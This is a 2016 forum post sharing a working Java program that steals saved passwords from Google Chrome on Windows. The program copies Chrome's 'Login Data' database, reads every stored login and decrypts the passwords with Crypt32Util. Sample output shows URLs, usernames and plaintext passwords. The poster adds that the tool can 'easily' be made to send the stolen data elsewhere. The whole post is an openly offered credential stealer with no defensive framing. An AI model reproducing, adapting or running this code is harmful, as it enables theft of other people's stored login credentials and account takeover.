Mar 22, 2016 03:06 AM
(This post was last modified: Mar 22, 2016 03:09 AM by xxm0dzxx.)
heres a quick program I made to extract passwords from chrome:
it requires sqlite-jdbc, apache commons-io, and jna. right now all it does is print login info and the URL its from but you can easily make it send/save it somewhere
example output:
NOTE: Crypt32Util.cryptUnprotectData only works on the computer the passwords were saved on
Code
package atleast.there.are.packages; //.and.comments
import java.io.File;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.apache.commons.io.FileUtils;
import com.sun.jna.platform.win32.Crypt32Util;
public class discouragedclassname {
public static void main(String[] args) throws ClassNotFoundException, IOException {
// warning: code may or may not have been copied/pasted from:
// https://bitbucket.org/xerial/sqlite-jdbc
// https://superuser.com/questions/146742/how-does-google-chrome-store-passwords
// another warning: this is obv for windows only
Class.forName("org.sqlite.JDBC"); // wtf is this for
// ^ wait, i hope this doesnt require drivers
Connection connection = null;
try {
File chromeData = new File(System.getenv("LocalAppData") + "/Google/Chrome/User Data/Default/Login Data");
File dataCopy = new File(
System.getenv("LocalAppData") + "/Google/Chrome/User Data/Default/Login Data.bak.db");
FileUtils.copyFile(chromeData, dataCopy, true);
// create a database connection
connection = DriverManager.getConnection("jdbc:sqlite:" + dataCopy.getAbsolutePath());
Statement statement = connection.createStatement();
statement.setQueryTimeout(1);
ResultSet rs = statement.executeQuery("select * from logins");
while (rs.next()) {
System.out.println("Info for " + rs.getString("origin_url") + " / " + rs.getString("action_url"));
System.out.println(rs.getString("username_element") + " = " + rs.getString("username_value"));
byte[] passwordBlob = rs.getBytes("password_value");
byte[] dankBlob = Crypt32Util.cryptUnprotectData(passwordBlob);
System.out.println(rs.getString("password_element") + " = " + new String(dankBlob));
}
} catch (SQLException e) {
System.err.println(e.getMessage());
} finally {
try {
if (connection != null)
connection.close();
} catch (SQLException e) {
System.err.println(e);
}
}
}
}it requires sqlite-jdbc, apache commons-io, and jna. right now all it does is print login info and the URL its from but you can easily make it send/save it somewhere
example output:
Code
Info for https://my.freenom.com/clientarea.php / https://my.freenom.com/dologin.php
username = [email protected]
password = p@ssworD123
Info for https://login.live.com/login.srf / https://login.live.com/ppsecure/post.srf
loginfmt = [email protected]
passwd = password123
Info for http://192.168.1.1/ /
= admin
= passwordNOTE: Crypt32Util.cryptUnprotectData only works on the computer the passwords were saved on


